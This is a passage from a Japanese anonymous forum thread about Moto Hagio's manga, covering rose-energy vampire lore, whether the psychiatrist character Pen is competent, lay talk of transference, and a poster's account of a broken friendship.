どーでもいいがライカ父はサンシャインに似てる。アフロにはしてないが…
131:花と名無しさん
06/10/08 22:48:36 0
>>129
FA
つか普通に続編を考慮した終わり方に見える、気もする（萩尾先生ー！）
132:花と名無しさん
06/10/09 00:32:22 0
キリアンの末裔の話はムリそうだがサチコネタで続編は期待したいな。
133:花と名無しさん
06/10/09 16:07:18 0
>>126
別人格があるみたいになってたね。
現状に満足してるならまた違うんじゃない？
134:花と名無しさん
06/10/09 18:13:47 0
副作用ってことなのかな？カーラが何か言ってたよね。
135:花と名無しさん
06/10/10 01:35:21 0
てか、今若い自分が年取った自分を見たら誰でもそう思うのでは？
十歳ぐらい年上の人を見るだけで、私も十年経ったら・・
どうすればいつまでも心に歳を取らずにいられるのか・・と
よく自問自答してしまう。私は
136:花と名無しさん
06/10/10 10:13:48 0
部屋の掃除してたらちょうど10年前の写真が出てきた。
しかもイギリス旅行の時の。
当時、現在のことでいっぱいいっぱいで10年後のことなんか
想像もできんかったな。
137:花と名無しさん
06/10/10 11:38:49 0
>>125
その昔、まだ子供だった羽仁未央がポーにはまってて
新宿伊勢丹のローズギャラリーを紹介してたなぁ
当時バラ専門店ってあの店しかなかった
138:花と名無しさん
06/10/10 11:54:48 0
>>137
レリアンていう服飾ブランドにバラ専門店併設してるお。ただひたすらバラだけの花屋さんだお。
URLﾘﾝｸ(www.rosegallery-l.com)
139:花と名無しさん
06/10/10 13:28:13 0
バラのエッセンスってエッセンシャルオイルみたいなものかな。
大人になった今でも高くておいそれと買えない値段だ。
ホワイトリカーで食用のバラの花びら漬け込んでリキュールを
作るってのがいいかも。
140:花と名無しさん
06/10/10 13:45:43 0
>>138
美しいお！
141:花と名無しさん
06/10/10 13:48:32 0
でもエドガーが日本に来たら、真っ先に狙われそうなお店だおw
142:花と名無しさん
06/10/10 15:45:22 0
エドガーの息のかかったイギリス企業が買収
143:花と名無しさん
06/10/10 17:51:29 0
東京文化会館のホワイエで「バラのジュース」なるものを売ってたお。
144:花と名無しさん
06/10/10 18:02:37 0
その時 観客の大半はポーツネル家の一族に違い無いとおもたお。
マイナーな公演(日本の創作オペラのガラコンサート)にもかかわらず大入りだったからだお。
でも、他の公演でも売ってるかもだお。
145:花と名無しさん
06/10/10 18:10:25 0
花屋の切り花でもバンパネラの食料になるんだろうか
農薬とか関係ないのかな
146:花と名無しさん
06/10/10 18:20:41 0
>>145
花をむしゃむしゃするんじゃなく、花の持つエナジイを食してる（エッセンスもエナジイを凝縮したものというニュアンスだと思う）ので、
農薬は別にかまわないんじゃないかな。
確かカフェかレストランのテーブルフラワーからも貰ってたから、切り花でも問題なさそう。温室栽培でも大丈夫。
生き生きしたバラならそれでよいんじゃないか？
ちなみに花のエナジイをいただいた他のバンパネラからでもエナジイは貰えます。
147:花と名無しさん
06/10/11 00:23:43 0
東文のバラのジュースはどの公演でも売ってるよ。
味はクエン酸飲料の味。
148:花と名無しさん
06/10/11 19:29:23 0
花屋の切花より、地植えのバラのほうがエナジーはありそうだね。
遺伝子操作の園芸品種のエナジー吸ったら具合悪くなったりして…
あと、バラ科の植物ならなんでもいいのかな？
野バラとか、ハマナスとか…
149:花と名無しさん
06/10/11 23:25:56 0
バラの名前はついてるがクリスマスローズはダメだそうだな。
150:花と名無しさん
06/10/11 23:39:33 0
>>149
あれは「キンポウゲ科」だからねえ。
「（花の少ない）クリスマスの頃に咲く、バラみたいな花」ってのが
名前の由来らしいけど、見た目からしてあんまりバラっぽい感じ
じゃないし。
151:花と名無しさん
06/10/11 23:53:16 0
うーん、それはたぶんモダンローズを念頭に置くから、
バラに似てないと思うんだと思う。
一重のバラをイメージすれば、実は似てると言えば似てるのよ。
152:花と名無しさん
06/10/12 00:31:49 IpMD1f4l0
バルバラと銀の三角って、発想が似てると思うんですが・・
現在と過去と未来をいろいろ組み合わせたSFぽい作品がやはり萩尾先生の
真骨頂なのでしょうか。
’去年マリエンバートで’も先生のお気に入りらしので観てみたんですが、
なんだかさっぱりわからない映画でしたぁ・・・ﾀﾒｲｷ
153:花と名無しさん
06/10/12 00:38:30 IpMD1f4l0
うわ、皆さん？？？にしてたんだ、まいっか
154:花と名無しさん
06/10/12 00:46:38 0
タカの髪型ってアニメキャラによくでてくるけど
そっからとったのかなｗ
155:花と名無しさん
06/10/12 07:14:00 0
誰かの影響で見てみたはいいが、残念ながら楽しめない映画はよくあるね。
自分はユー・ガッタ・メールを見てみたけど、
もともと恋愛映画があまり好きではないのに加えて出だしが退屈で、
十分ぐらいで見るのをやめてしまった・・・
（好きな人ごめんなさい）
156:花と名無しさん
06/10/12 14:12:15 0
残神おとといから読み直してる
何度みても、ごはんおいしそうお茶おいしそう
157:花と名無しさん
06/10/12 16:15:31 0
パンケーキ食べたくなった
158:花と名無しさん
06/10/12 17:01:29 0
ナディアがドイツから帰ってきて、
イアンが「クリスマスのドタキャンを謝らないと」って
うなってたときに作ってた、あのパイ。
何パイなんだろう。すっげーうまそう…………。
あの花柄もちまちま作ったのかな。それとも冷凍物か？
159:花と名無しさん
06/10/12 18:15:09 0
キャスが10巻で食べてたパイもおいしそうだった。
ナディアとヨルクの関係って、ポーのグレンスミスのエリザベス話に似てる。
彼女も金のない音楽家と結婚してドイツに行ったけど、時代が悪すぎたんだなあ…
清水玲子さんがNHKの映像の世紀みたあとグレンスミス読んだら泣けてしょうがなかったって
言ってたし。
160:花と名無しさん
06/10/12 18:19:47 0
残神はよく「前半のサスペンスが面白くて後半はどうも…」みたいな言い方されがちだけど、
グレッグとサンドラが死んでからの話が本筋だったんだろうなと最近思う。
個性的なキャラがどんどん出てくるのもこの後だけど、
殺人したジェルミがまるで聖者のごとくいろんな人を救済してるのが面白かった。
161:花と名無しさん
06/10/12 18:50:50 0
>>159
夫のトニーが戦死しなければ、エリザベスはずっと幸せに暮らせたろうにね。
162:花と名無しさん
06/10/12 19:00:05 0
たしかに前半の流れには納得できたけど、
後半のジェルミのカウンセリングつーか、立ち直りの過程は納得できんかった
163:花と名無しさん
06/10/12 19:05:32 0
ジェルミは一体いくら相続したの
164:花と名無しさん
06/10/12 20:45:56 0
>>160
本筋は後半なんだけれど、前半であまりに救いのない状態に追い込んだおかげで、
後半になってから、そう簡単に救う訳にはいかなくなって苦労してしまったように見える。
何をやっても、ジェルミが救われるストーリーが嘘くさく見えてしまうほど、
前半の追い込み方が執拗だったということ。
165:花と名無しさん
06/10/12 21:18:38 0
マージョリーが出てくるのが後半だから後半が神
166:sage
06/10/12 23:53:16 drBANCdU0
スターレッド読んだ。面白かったけど結末せつないな～。
167:花と名無しさん
06/10/13 10:52:12 0
>>162
ペン先生が有能なのか無能なのかよくわからなかったね。
168:花と名無しさん
06/10/13 11:28:32 O
早く帰ってお茶飲みたいわ～の後はどうしたんだろ
169:花と名無しさん
06/10/13 21:19:07 0
ペネローぺは無能決定
患者目の前に、早く家帰って茶ァ飲みたいとは どーゆーことやねん！
170:花と名無しさん
06/10/13 21:26:27 0
無能というより、医者失格 仕事してください先生！
171:花と名無しさん
06/10/13 21:43:47 0
オーソン先生がもっと長生きしていれば、
展開もちっとは変わってたかな…。
172:花と名無しさん
06/10/13 21:52:19 0
話ぶった切って悪いけど、バルバラ読みながら眠ったら不思議な夢を見た
夢は遠い過去か未来からのメッセージならとんでもないことになるけど、
自分はかなり信じている
今かなりバルバラの世界に取り込まれてるからかもしれないが、
これも一種の宗教みたいなもの？
173:花と名無しさん
06/10/13 22:20:20 0
>>172を読んで、ペン先生も大変そうだなとｵﾓﾀ
174:花と名無しさん
06/10/13 22:40:40 0
は～残神やっと読み終えた。ハードだった・・・
ラストの印象がまた変わった。イアンとジェルミは１２月を心待ちに、
お互いを思いながら（イアンが）恋人？同士として過ごしていくってこと？かな
175:花と名無しさん
06/10/14 00:10:42 O
>>173
ﾜﾛﾀよ
176:花と名無しさん
06/10/14 00:16:00 0
>>169,170
昔は患者の転移に引きずられて逆転移しちまう
カウンセラーのほうが治療者として失格、という考え方だった。
例えば、ジェルミとペンの場合は負の感情だったけど
あれが恋愛感情だったら？
ペンはあそこで日常的なことへ意識を向けることで
自分がジェルミの転移に巻き込まれるのを防御したんだろう。
まあ、古いタイプのカンセラーなんだろうね。
ちなみに恋愛性の転移/逆転移に関しては
イアンを使ってこれでもか、ってぐらいに描写されてる。
177:花と名無しさん
06/10/14 04:04:51 0
今のカウンセラーは逆転移を受け入れちまうの？
178:花と名無しさん
06/10/14 05:19:34 0
>>177
フロイトは、逆転移が治療（分析）には有害だと定義してるけど、
今じゃ、逆転移は治療の有用な手がかりだという考えなので。
もちろん、治療のためには患者に積極的に情をうつすべきだとか、
恋愛関係にハマってもよい、とかということではないし、
戦略的に治療に活用するには、カウンセラ－にそれなりの技量が必要。
逆転移を起こしやすい治療者は、それだけ人間臭いとも言えるわけだから
（フロイトは、治療者は超越的な立場にいるべきであるという考えだが）
萩尾さんは、そこんとこの皮肉をついてるんだろう。
ペンの分析は適切だし、治療者としてけして失格してるわけでも
無能なわけでもない。
179:花と名無しさん
06/10/14 05:31:05 0
あ、フロイトの名前なんか出したので誤解を招きそうなので書いておくが、
>>176での古いタイプの…というのは、保守的な、ぐらいの意味あいで、
時代遅れとかそういう意味ではないです。
180:花と名無しさん
06/10/14 07:40:15 0
レスどうも。
逆転移を上手に利用しようということなのね。
意外なところで意外な知識を得ることが出来ましたｗ
181:花と名無しさん
06/10/14 11:42:33 0
それって、暴力団担当の警察官が暴力団員風、ということに近い？
182:花と名無しさん
06/10/14 11:57:02 0
>>181
それどんなたとえだよwwwww
ﾜﾗﾀけど。
183:花と名無しさん
06/10/14 14:42:34 0
じゃ、イアンとジェルミンは、恋愛してたわけじゃなく幻想だったってこと？
それなら何か納得。
184:花と名無しさん
06/10/14 14:49:53 0
でも、幻想じゃない恋愛なんてあるのかな？
185:花と名無しさん
06/10/14 15:57:56 0
深いなア
186:花と名無しさん
06/10/14 16:07:30 0
短編で、姉を目の前で犯されて殺されて、自分も犯された少年が
その相手である元王様に対して
あまりそのことを考えているので、まるで苦しい恋でもしているようだ…
わたしたちのどちらかが死なない限り、わたしの苦しい恋は終わらない…
って記述があったのを思い出した。
自分の感情がきちんと理路整然と説明がつかなくなるほど激しく混乱している状態を
描かせると右に出るものはいないんじゃないかと思う。
187:花と名無しさん
06/10/14 16:08:18 0
全然関係ない自分語りだけど、この精神面の～な流れで思い出した。
自分より年上の友人がいたが、ちょっとしたことで喧嘩して絶交されたんだ。
直接的な言い合いはくだらない理由だったが、その時彼女が言った言葉が
「本当はあの時のメールで、あ、この子（私のこと）は私とは性格がかみ合わないな、
歯車が合わないなって思ったの！」
って断言されたんだった。
その時のメールってのが、私の過去の苛めやトラウマについて、私がふと言及したら彼女が
「理解してるよ、貴方と同じ気持ちで悲しんだり苦しんだりしてるよ」
と言い切ったので、つい
「人と人は完璧に分かり合えるわけでもないし、誰かに共感できることはあっても
『理解できる』なんて言い切ることは出来ないと思う。」
と言ってしまったんだ。
彼女は当然善意で言ったんだから、多少違和感があろうとも感謝はするべきだったと思う。
でも、こっちだって同じ経験をしたわけでもない人があまりに「わかる！」って簡単に
言ってる気がして、「もっと慎重に言葉を選んで欲しい」って思ったんだ。
188:花と名無しさん
06/10/14 16:20:24 0
その年上の友人もちょっと傲慢なところがあったのかもしれないけど
>>187が絶交されたのもわかるような稀ガス
189:花と名無しさん
06/10/14 16:24:47 0
>>187
187さんは「この苦しさは私だけのもの。世界で私ほど苦しんだ人はいない」と思ってるんだね。
だから他人が「競りかかってきている」のが許せなかったんじゃない？
その年上の友人が同じような体験をしてきたわけではない、とどうして言い切れるの？
190:花と名無しさん
06/10/14 16:37:47 0
187です。
やっぱり私は人に絶交されておかしくない変な人間だったのかもしれません。
>>189さん
彼女の言葉が、ここで描いた以外にもあまりにも私の思いを見当違いに捉えているというか、
軽いものとして扱われていると思ったからです。
同じような体験は多分はなしを聞いた限りしていないと思います。勿論彼女だって彼女なりに辛いことはあるでしょうが。
世界で一番可哀想で頑張っているといってほしかったんじゃない。
そう簡単に、わかるって言い切って欲しくなかっただけです。
うまくいえません。
私が、勝手に彼女が悪いと自分を正当化していただけで、本当はやっぱり誰だって
私と絶交してもしょうがないのでしょうか。
191:花と名無しさん
06/10/14 16:38:51 0
>>189
スレ違い。
チラ裏にマジレスすんな
192:189
06/10/14 16:40:22 0
>>191
スマソ。以後気をつけます。
193:花と名無しさん
06/10/14 18:54:44 0
少なからずレスを真剣に受け止めてる人に対して、
放置はないのでは･･･
あと他のスレでもよく思うことだけど、
「お前が○○なのも分かる気がする」て簡単に言うのはやめなよ。
こんなところで断片的に聞いただけで真相が完璧に分かるわけじゃないし、
その一言で本人は深く思い悩むかもしれないし。
チラ裏ｽﾏﾝ。
194:花と名無しさん
06/10/14 18:56:24 0
まあ、そんなに気にすることはないというか、
気にしすぎないでいいのでは？
195:花と名無しさん
06/10/14 18:58:44 0
>194は>189にね。
分かるというのが、人によって共感なのか完全な理解なのか、
どこに設定してるかどうかで違うのかもね。
期待が大きいとダメージも大きくなる上に、相手に失礼にもなる。
196:花と名無しさん
06/10/14 19:03:35 0
189じゃないが、
＞相手に失礼にもなる
これはどういう意味合いで？187の説明に沿って考えたら、
相手の年上の人？の方がそれで行くと失礼になるんでは？
197:花と名無しさん
06/10/14 19:04:48 0
まあなかなか他人の痛みを共有できる人なんかいないよな。
イアンくらい体張れるくらいの根性が無いと。
＞「理解してるよ、貴方と同じ気持ちで悲しんだり苦しんだりしてるよ」
このセリフは偽善者か、えせ宗教家臭い。
自分もうかつにこんなことは言って欲しくないね。トラウマ持ちでは無いが。
198:花と名無しさん
06/10/14 19:08:45 0
＞「理解してるよ、貴方と同じ気持ちで悲しんだり苦しんだりしてるよ」
こんなこと言っておきながら、ちょっと意見したら急に覆って「絶交」とか言うあたり、
偽善以外の何物でもないな＞年上の人
同じ気持ちで苦しんでるのならそんなことで突き放したりしない
それが相手にとってどれだけダメージが大きいか分かるはずだから
199:花と名無しさん
06/10/14 19:11:41 0
結局人は一人
完全に理解してくれる人なんかいない
この場合はその年長の人の方が、あまりに他人と自分を同一視しすぎたのでは
200:花と名無しさん
06/10/14 19:12:37 0
>>199
バルバラへようこそ
201:花と名無しさん
06/10/14 19:16:25 0
>>198
いや、「自分はトラウマ持ちで苦しんでいる」と差し出された手を突っぱねる相手と
「同じ」無神経さを共有してるのかもよ？
似たもの同士が反発しあっただけって気がする。
202:花と名無しさん
06/10/14 19:17:08 0
自我が消えれば人間は一つになれるようだが、
それでも現実に生きてりゃ、全くこいつとは同じと思えないほど
何もかもが違う人間って一杯いるな
でも他人を「違うもの」として尊重してたら187みたいな喧嘩は絶対にならない
その相手の方が「私は理解できてる→この子は私の善意が通じない→歯車が合わないから」
みたいな思考するところからして、上記されているように偽善ぽいと思う。
そもそも「分からないけど分かりたいと思う」といえばいいところを、「わかるのよ！」なんて
断言してくる人はまあ、何となく言葉が浮いているというか、そう簡単じゃないだろーとは思うわな。
まさしく「感謝知らずの男」のレヴィをかまってた偽善カップルみたいなもんだ。
203:花と名無しさん
06/10/14 19:19:36 0
>>201
その「手を突っぱねたから無神経」って根拠はどこにあるのさ
明らかに相手の方が「私はわかってあげてる」みたいなオーラを出して、
いかにも手を差し出して「あげてる」感じだったのかもよ。
そりゃ私でもその手を取りたくはないよ。
204:花と名無しさん
06/10/14 19:23:01 0
>>203
まあまあ。
落ち着きなさいよ。
どっちかに感情移入して自分のイメージに近づけた想像・想定で
二人のやり取りを妄想してもしかたないこと。
203さんの「私には状況が目に見えるようにわかってるわよ」っていう口ぶりも
傍から見るとちょっとのめり込みすぎな感があるよ。
205:203
06/10/14 19:27:00 0
ごめんなさい。自分も似たようなことがあったので、ついのめりこみすぎました。
今後は控えます。
187さんの文を読んで、その年輩の人の方の台詞に「同じ気持ちで～」なんて
断言する部分から、この人だって繊細な感情を汲み取れない（もしくはそれを表現するのが行き届かない）
ところがあるんだろうなと思って、私も187さんの立場だったら素直には受け取れないと思ったので。
私のレスで不快になった人、すみません。
喧嘩のことは当人同士しか分かりませんが、どちらにせよあまり落ち込みすぎないで>>187
206:花と名無しさん
06/10/14 19:28:56 0
何この流れ
207:花と名無しさん
06/10/14 19:29:35 0
何か問題でも？
208:花と名無しさん
06/10/14 19:29:37 0
カウンセリング化ｗｗｗ
209:花と名無しさん
06/10/14 19:34:11 0
187ですが、私の書き込みで沢山のレスが着いてくれたようで、すみません＆
ありがとうです。
スレ違いに耳を貸してくれてどうもありがとうございました。
残神の話題で、カウンセリングとか引きずられるとかの言葉を見てたら、
「そういえば私も似たようなことで人とうまく通じ合えなかったことがあったな」と
思い出したので、つい話題にしてしまいました。
イアンとジェルミのように大したもんでもありませんが・・。
ご気分を害した人済みませんでした。
210:花と名無しさん
06/10/14 19:37:57 0
人には長所も短所もない。
単に合わないタイプの人間が存在するだけだって（ウロ覚えだが）セリフが
メッシュにあったけど、そういうことなんじゃないか？
211:花と名無しさん
06/10/14 19:38:51 0
ルゥが出てきた話だね。「合わない人種」だっけ？
212:花と名無しさん
06/10/14 19:39:40 0
>>210
人はそれを「相性」と言う。
どんなに好きでも相性悪い人とは長く続かんし
どんなに嫌いな面のある人とでも長く腐れ縁が続くのはある意味相性がいいんだろうね。
213:花と名無しさん
06/10/14 19:47:27 0
そうですね、結局たまたま合わなかっただけで、
落ち込みすぎたらますます人間関係が苦手になる・・。
でも、面と向かって（電話だったけど）「理解できない」「貴女とは合わない、歯車が噛みあわないなって思ったの」
「やっぱりそういうのは付き合ってみないと分からないからしょうがない（絶交しよう）」
と断定されたらけっこうショックでした。
喧嘩別れ自体はどこにでもあるけど、こんなことを言われるのは珍しいだろうから私はやっぱり変人なのかと落ち込んだり。
でも落ち込みすぎないようにしようと思います。
チラ裏最後までさらして本当に済みませんでした。スレ違いでごめんなさい。
214:花と名無しさん
06/10/14 19:54:19 0
ようはそのたまたま合わなかった人が語調の断定的な人だったら
自信を失うこともあるという話か？
>>210
たまにチラ裏が紛れ込んでも結局萩尾作品に繋げるここの住人は
すごいといつも純粋に思う。
まあ萩尾作品そのものが精神を描くものであるから、
こういうチラ裏も出てくるのだろうｹﾄﾞ。
215:花と名無しさん
06/10/14 19:58:46 0
＞まさしく「感謝知らずの男」のレヴィをかまってた偽善カップルみたいなもんだ
あれは「僕ら好きでやってるんだからお礼なんていいんだ」といっときながら、
最後のほうで女が「ひどいわ親切にしてあげたのに」って泣き出す
矛盾が清清しかったなｗｗ
まあ何にせよ、相手が善意でしていたことでも傷ついたり迷惑だったりすることはあるわけで。
最近のチラ裏の流れのその年長の人も、少なからず「優しい言葉をかけたんんだから当然感謝が返って来ると思っていた」
ってのはあったのかもね。
詳しいことは知らんが、相手のほうにもデリケートさは足りなかったんじゃないかなと>>213を読んで主たよ。
216:花と名無しさん
06/10/14 20:06:15 0
>「理解できない」「貴女とは合わない、歯車が噛みあわないなって思ったの」
「やっぱりそういうのは付き合ってみないと分からないからしょうがない（絶交しよう）」
こんなセリフ、女が付き合ってる相手に言うならわかるが
女同士でこんなこと普通言わないような。
煙たい相手ならだんだん疎遠になって付き合いも無くなってくくってのが
多いのでは？
どっちにしろ気の合う人にはべたべたした濃い付き合いを求めてくる
タイプみたいでこういうのは苦手な人種だ。
あ、メッシュのはたしか「苦手な人種」だったね。
217:花と名無しさん
06/10/14 20:09:24 0
>>213
いや、でもさ。
あなたのほうでも彼女に対して「掛け違い」感があるわけでしょ？
あなたも彼女と「歯車が合わない」わけだから
彼女が言うことも一理はあると思うんだよね。
ただ、大抵の場合、大抵の人は
いちいち「あなたとは合わない」とか断定したりしないし
絶交なんかもしない。
まあ、相手も変わり者だったのは確かだと思うよ。
でも、多分、彼女は彼女で変わり者であるがゆえに
今までいろいろな人と「合わない」「合わせられない」自分や
疎外感のようなものを感じてきているんじゃないかとも思うし
だからこそ「切られる前に切っちゃう」っていう行動が染み付いてるのかもしれん。
（そういうタイプの人に多い。切られる前に切る、嫌がられる前に嫌がられるようなことをわざとしちゃう、っての）
まあ、気にしてもしかたないことだから
あまり気にせず「変な人だったな」くらいで流しちゃいましょう！
218:花と名無しさん
06/10/14 20:12:06 0
>>216
その感じで行くと、213さんはその人に一方的に突き放された感じだね。
187によれば、遡って考えてあのメールで本当は合わないと思ってた！（だっけ？）
と言われたみたいだから、
もし本当にただ「私の気持ち考えてくれてるんだ、どうもありがとう」と言われたかったところを
そうじゃなかったのが不満でそれをぶつけるためこんな断定的になったとしたら、
それはその人がかなり心が狭いんじゃ・・・
しかも年上のようだしね。
まあ色々あるだろうが、相手が変なときもあるから、あまり気にしすぎないほうがいいと思うよ。
219:花と名無しさん
06/10/14 20:13:12 0
早く家で熱いお茶飲みたいわ
220:花と名無しさん
06/10/14 20:16:01 0
218だけど、217さんと微妙に内容かぶっちゃったな。
ｽﾏｿ
まあ年下にきついこと言い過ぎる人ってのは、あまり大した器じゃないと思うよ。
何歳離れてるか知らないけど、その程度の人だっただなぁと思って、忘れるのがいいなり。
221:花と名無しさん
06/10/14 20:16:56 0
>>219
なんかﾜﾛﾀｗｗ いきなりのん気な雰囲気でｗｗｗ
222:花と名無しさん
06/10/14 20:29:43 0
萩尾さん自身も人付き合いや人間関係には苦しんだらしく、
この人はどうしてこんな事を言うんだろう、といろいろ悩んだって
話を読んだことがある。
そいういうのが作品のネタになってるんだよな。
やっぱりマンガ家ってタダでは起きないな。
223:花と名無しさん
06/10/14 20:47:44 0
すみません。213ですが、もうチラ裏は終わりにしようと思ったのですが、
もらってレスを読んでいたらどうしても聞いて欲しくなってきたので。
>>216 ＞女同士でこんなこと普通言わないような。
彼女は私に絶縁を言い渡した後、「（今まで）楽しかったよ」と言ったのですが。
私もそれで「まるで恋人同士が喧嘩になって別れたみたいな台詞だなあ」と思いました。
私のほうは心が狭いのか、こんなになってまあ楽しかった部分は楽しかった、と素直には思えませんでした。
いい関係だったなあ、と素直に言える位ならこんな下らないことで絶縁しなきゃいいのにーー、何でそんなにあっさり終わらせるんだろう、と思いましたが、
>>217さんの文を読んで、彼女もそういう思いがあったのかなあと思いました。
そういえば「喧嘩になって言い争いになっても何も進展しないから、その前に絶交しよう」と言っていたような。
私は「喧嘩してもその後仲直りすればいいじゃん」と思いましたが、聞き入れてもらえず。
でもね。私も彼女も殆どお互いが唯一の友人みたいなもんだったのですが、
私は彼女と言い争いになった時点で、そんな些細なことで絶交のぜの字も考えていなかった。
私にきつい事を言わせないために、先に私にきつい事を言ってさっとフェードアウトしたみたいな
感じでしたが、でもそれじゃあ言いたいこと言われた私の立場は、と少なからず憤懣でした。
何にせよ、私は彼女を突き放そうとは全く思っていなかったので、
どうせならもう少し関係と言うものを丁寧に慎重に、築いていけばよかったのでは、と思いました。お互いに。
つまり傷つく前に逃げるんじゃなくて、もうちょっと粘ってくれても良かったのではと。
どちらにせよ>>217さんの言うとおり、今回はしょうがないと思って気にしすぎないようにしようと思いました。
このスレでレスをくれた方全員、どうもありがとうございました。
色々上手くいかなかった分同じ失敗をしないようにしようと思います。
224:223
06/10/14 20:48:46 0
すみません、すごい長文でした・・。
最後までスレ汚しでごめんなさい。
225:花と名無しさん
06/10/14 21:06:51 0
＞萩尾さん自身も人付き合いや人間関係には苦しんだらしく、
＞この人はどうしてこんな事を言うんだろう、といろいろ悩んだって
＞話を読んだことがある。
＞そいういうのが作品のネタになってるんだよな。
＞やっぱりマンガ家ってタダでは起きないな。
そうなんだー、そんなの自分だったら「何でこんなこと言われなくちゃならないんだろう」
「何でこの人はこの場面でこの台詞を」とか腐るほどあるよ。
そういう、ある意味誰でもある感情だから、よりリアルに身につまって読めるんだな。
やっぱり順風満帆に生きてる人は真に心に訴えかける漫画って描けない気がする。
まあ勿論自分も「何でコイツはこんなんなんだ」って思われてる可能性も大有りだがｗｗ
どっちにせよ「他人」を一生懸命観察しないと、色んなキャラクターをリアルには
生み出せない気がするな。頭の中で生み出すには限界がある。
変な人と出会う、納得できない目に遭う、って、
そう考えたら、奇抜なキャラクターを生み出すものすごいチャンスになるのかもね。
226:花と名無しさん
06/10/14 21:12:33 0
それで結局グレッグはすごいキャラだったって話になるのか
227:花と名無しさん
06/10/14 21:18:45 0
人生相談スレですか？
228:花と名無しさん
06/10/14 21:19:21 0
グレッグはすごいよな。
昔、萩尾さんは「嫌いな人間は描きたくない」って言ってたけど
作風がだんだん変わってきてから強烈なキャラが登場するようになって
極め付きはグレッグ。作家としては相当興味深いキャラだろう。
229:花と名無しさん
06/10/14 21:20:20 0
いやーグレッグは凄いキャラだよ。
おまけに描き方がいいよね。
裏を書き込むとみせて、ふみこまないで結局ナゾのままにとどめてる。
イアンにとっては、父親は永遠の謎。
230:花と名無しさん
06/10/14 21:20:37 0
ペン先生は無能でも医者失格でもなかったんだ。
何かすごいびっくりした。転移とか逆転移とかも何のことかわからんかった。
知識ある人っているんだね。私がもの知らないだけか。
私は大学の時にカウンセリングを受けるように勧められて精神科医と８ヶ月
濃密？な時間を過ごしたんだけど、かなりお年を召したおばあさんの女医さんで
男じゃなくて良かったとは思った。恋愛感情めいたものを医者に持ったら
治療が遅くなるって恐怖感があったんで。１０年たって今また精神科医に
カウンセリング？のようなものをしてもらってるけど、女医さん以外は嫌と病院に言ったな。
これは転移が起こることを自分が嫌がってるということなのかな？
私は、長いすに座って目をつぶって私の話を延々と聞き続ける医者を
すごいなと思ってたけど（皆から暗い内容の話ばっか聞くから）、それ以外では
患者の話きくだけで金になるっていいな～と思ってた。
でもペン先生も、実はちゃんと仕事してたってことなんだね。
231:花と名無しさん
06/10/14 21:23:07 0
よっぽど強靭な精神を持った人間じゃないと、
暗い話を聞いたら引きずられて精神が病んでしまうよね。
精神科ってすごい。
232:花と名無しさん
06/10/14 21:28:48 0
確かに。友達の失恋話や母親の不幸自慢めいた話をきくだけで
私はかなり疲れる。頭が痛くなるもん。
それを職業にして、しかも言葉を使いながら治療するなんてある意味奇跡だよ。
残神で、ジェルミが少しでも治るのが、精神科医とのセッションで自分の心を
語ることを通じて、自分や母親を最終的に理解し許すという域に達するんでなく
イアンとの恋愛によって癒されるのが何か納得いかんかったけど。
イアンってど素人なのに。しかもグレッグの息子ですよ。
233:花と名無しさん
06/10/14 21:30:49 0
結局他人の考えてたことなんていくら考えてもわからんし
想像の域を出ないし、
そんなことより自分を大事にして傍にいてくれる人がいて
癒されるってことでお開き。
自然なんじゃないの？
234:花と名無しさん
06/10/14 21:32:56 0
無能ではないが決して有能でも無いような＞ペン先生
患者（ジェルミ）をあんなにいらだたせるのは、オーソン先生とは
違う手段で彼を救おうという手段なのかなと思ってたけど
患者の心に歩み寄ってなかっただけのような。
でも結果的に感情を無くしたジェルミを感情的にさせた功績はあったな。
235:花と名無しさん
06/10/14 21:35:21 0
ジェルミの苛立ちはペン先生がジェルミの心理を見透かしているからなのでは？
真綿で絞められるみたいだ！って言ってたし。
236:花と名無しさん
06/10/14 21:39:08 0
ジェルミが「殺したことを言わせたね！！」とペンに言った後からこそが
本当の治療カウンセリングになるんじゃないの？
それまでは、患者がどんな問題で苦しんでるのかペンにわからないから
治療方針もたてらんないよね？あの後こそがペンの精神科医としての力の見せ所だと
思うんだけど、最後までペン出てこなかったよね。
私達読者は想像するしかないが、ペンのカウンセリングは続いてたんだろうな。
そんで最終的にはイアンから完全に心が離れてアメリカに帰ったと思ってる。
237:花と名無しさん
06/10/14 21:41:54 0
えジェルミとイアン別れるの？
238:花と名無しさん
06/10/14 21:49:25 0
>>234
でもさ、オーソン先生とペン先生の立場は全然違うじゃん
オーソン先生は、ジェルミが具体的に何の問題で苦しんでたか知ってた。
そんでもってジェルミ自身どう助けてもらいたいか言ってたから本人が
医師と話すということに積極的だった。
反してペン先生とは、もう虐待は過去のことであり心の中にある怒りや苦しみを
（グレッグやサンドラに対しての）何とかしたいのに心を閉ざしてて
ペン先生と話すことに消極的だった。患者の医師への助けの求め方によって
変わるんでは？特に、話したくない人ってカウンセリング受けても意味ないらしいよ
239:花と名無しさん
06/10/14 21:52:40 0
じゃあ意味ないやん むしろ人と話したくないことを治療して欲しいのに
240:花と名無しさん
06/10/14 21:55:19 0
>>237
いや、単なる私の想像・・・
ジェルミが本当の意味で立ち直った時って、イアンでなくとも
リンフォレスト時代の人達とはきっぱり縁切って、自分自身で選んだ人たちと
交際したいんじゃないかなと思って。イアンへの依存はジェルミの心が健全になったとき
消えてしまうんじゃないかと思う。
241:花と名無しさん
06/10/14 21:58:51 0
>>239
人に言えない秘密や苦しみを話すってことをしないで治療はできんらしい。
話すってことは患者自身が自分の感情を言葉にすることによって分析して理解してく
ことになるらしいから。ジェルミはペンに会っても何もしゃべってないから
そういうタイプの人はカウンセリング受けても効果はあまりないってこと。
そういう場合は、ぐるーぷカウンセリングとか自由連想とかすんでない？
242:花と名無しさん
06/10/14 22:06:50 0
グレッグのかぶってたお面が効果的に使われてて好き。
サンドラがあの仮面かぶってるの見たとき背筋寒くなった。
243:花と名無しさん
06/10/14 22:39:11 0
サンドラが一番怖いのは墓場から飛び出すとこ
244:花と名無しさん
06/10/14 22:41:48 0
「精神科」と「カウンセラー」の守備範囲は違うし・・・
カウンセリングは治療というより、
本人の「整理・納得」の過程を助ける、みたいなかんじ。
けっこう機械を叩いて直してるみたいな職人芸的なところが多い。
叩き方のコツとか手法とかがたくさん揃ってる人が名人ですね。
それと同じことはシロウトでもできないことはないよ。ていうかできる。
叩き方をうまくはしらないというだけだ。
それを職業的にやってるのがカウンセラーなだけ。
精神科医は違う。あれは投薬・症状抑えるが基本だから。
でもどっちも大事だけどね。
245:花と名無しさん
06/10/14 22:44:20 0
>>242
あの演出は自分も鳥肌たったな～
だって誰がかぶるより一番怖いもの
246:花と名無しさん
06/10/14 23:23:15 O
>>219
絶妙のタイミングすぎ
247:花と名無しさん
06/10/14 23:48:44 0
